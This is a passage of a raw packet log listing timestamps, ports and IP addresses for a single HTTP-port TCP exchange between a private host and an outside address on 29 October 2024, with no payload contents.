Oct 29, 2024 15:27:50.143196106 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.211574078 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.211591959 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.211600065 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.211648941 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.211673975 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.211692095 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.211702108 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.211714029 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.211718082 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.211724997 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.211738110 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.211754084 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.211812019 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.211945057 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.211955070 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.211966038 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.211971045 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.211978912 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.212013960 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.212028027 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.212409973 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.212424040 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.212430000 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.212435961 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.212446928 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.212452888 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.212460041 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.212471962 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.212479115 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.212480068 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.212485075 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.212497950 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.212519884 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.212548018 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.212574005 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.212579012 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.212590933 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.212596893 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.212604046 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.212624073 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.212627888 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.212635994 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.212647915 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.212649107 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.212656021 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.212662935 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.212677956 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.212699890 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.212901115 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.212908983 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.212929964 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.212938070 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.212950945 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.212956905 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.212965012 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.212970972 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.212973118 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.212977886 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.212984085 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.212997913 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.213004112 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.213005066 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.213016987 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.213033915 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.213043928 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.213052034 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.213067055 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.213088036 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.213094950 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.213095903 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.213109016 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.213115931 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.213128090 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.213134050 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.213143110 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.213146925 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.213152885 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.213172913 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.213186026 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.213196039 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.213208914 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.213216066 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.213227987 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.213233948 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.213239908 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.213247061 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.213258982 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.213264942 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.213268995 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.213270903 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.213291883 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.213309050 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.213314056 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.213315964 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.213327885 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.213332891 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.213361979 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.213386059 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.213500977 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.213506937 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.213517904 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.213521957 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.213527918 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.213534117 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.213546038 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.213560104 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.213591099 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.213637114 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.213649988 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.213661909 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.213666916 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.213677883 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.213696003 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.213705063 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.213713884 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.213718891 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.213723898 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.213726997 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.213740110 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.213757038 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.213788033 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.213810921 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.213818073 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.213830948 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.213836908 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.213860035 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.213877916 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.213888884 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.213898897 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.213906050 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.213911057 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.213917971 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.213931084 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.213958025 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.213973999 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.213980913 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.213988066 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.213992119 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.214036942 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.214068890 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.214078903 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.214085102 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.214090109 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.214117050 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.214132071 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.214147091 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.214153051 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.214164972 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.214173079 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.214189053 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.214194059 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.214205027 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.214211941 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.214214087 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.214257956 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.214265108 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.214274883 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.214287043 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.214292049 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.214298964 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.214313984 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.214318037 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.214339018 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.214363098 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.214432001 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.214440107 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.214446068 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.214454889 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.214464903 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.214469910 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.214473009 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.214477062 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.214483976 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.214489937 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.214494944 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.214509010 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.214509964 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.214514971 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.214533091 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.214545012 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.214549065 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.214555979 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.214580059 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.214586973 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.214590073 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.214597940 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.214627981 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.214658022 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.214670897 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.214677095 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.214689016 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.214693069 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.214699030 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.214705944 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.214724064 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.214751959 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.214760065 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.214761019 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.214803934 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.214873075 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.214879990 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.214888096 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.214893103 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.214900017 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.214905977 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.214924097 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.214925051 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.214937925 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.214956045 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.214978933 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.214996099 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.215003967 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.215015888 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.215023994 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.215032101 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.215044022 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.215049982 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.215051889 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.215064049 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.215074062 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.215076923 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.215091944 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.215116024 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.215159893 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.215167999 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.215179920 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.215187073 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.215193987 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.215218067 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.215250015 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.215256929 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.215267897 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.215274096 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.215275049 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.215289116 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.215296030 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.215296984 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.215323925 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.215332031 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.215339899 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.215348005 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.215353966 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.215369940 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.215374947 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.215383053 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.215389013 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.215394020 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.215405941 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.215411901 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.215421915 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.215440989 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.215470076 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.215703011 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.215713024 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.215725899 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.215733051 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.215764046 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.215787888 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.215848923 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.215863943 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.215877056 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.215883017 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.215888023 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.215900898 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.215907097 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.215912104 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.215929985 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.215931892 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.215945005 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.215954065 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.215960979 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.215961933 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.215976954 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.215984106 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.215989113 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.215996981 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.216007948 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.216027975 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.216036081 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.216042995 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.216046095 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.216056108 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.216063023 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.216073990 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.216078997 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.216082096 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.216114044 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.216135025 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.216137886 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.216145992 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.216151953 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.216157913 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.216181993 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.216239929 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.216280937 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.216288090 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.216300011 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.216305971 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.216311932 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.216317892 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.216325045 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.216329098 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.216336012 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.216344118 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.216350079 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.216365099 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.216387033 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.216433048 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.216443062 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.216448069 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.216454983 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.216460943 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.216473103 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.216479063 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.216483116 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.216484070 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.216489077 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.216497898 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.216519117 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.216533899 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.216564894 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.216568947 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.216577053 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.216583014 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.216588974 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.216602087 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.216604948 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.216612101 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.216640949 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.216658115 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.216684103 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.216694117 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.216705084 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.216708899 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.216715097 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.216727972 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.216738939 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.216768026 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.216860056 CET	80	49940	185.215.113.206	192.168.2.6
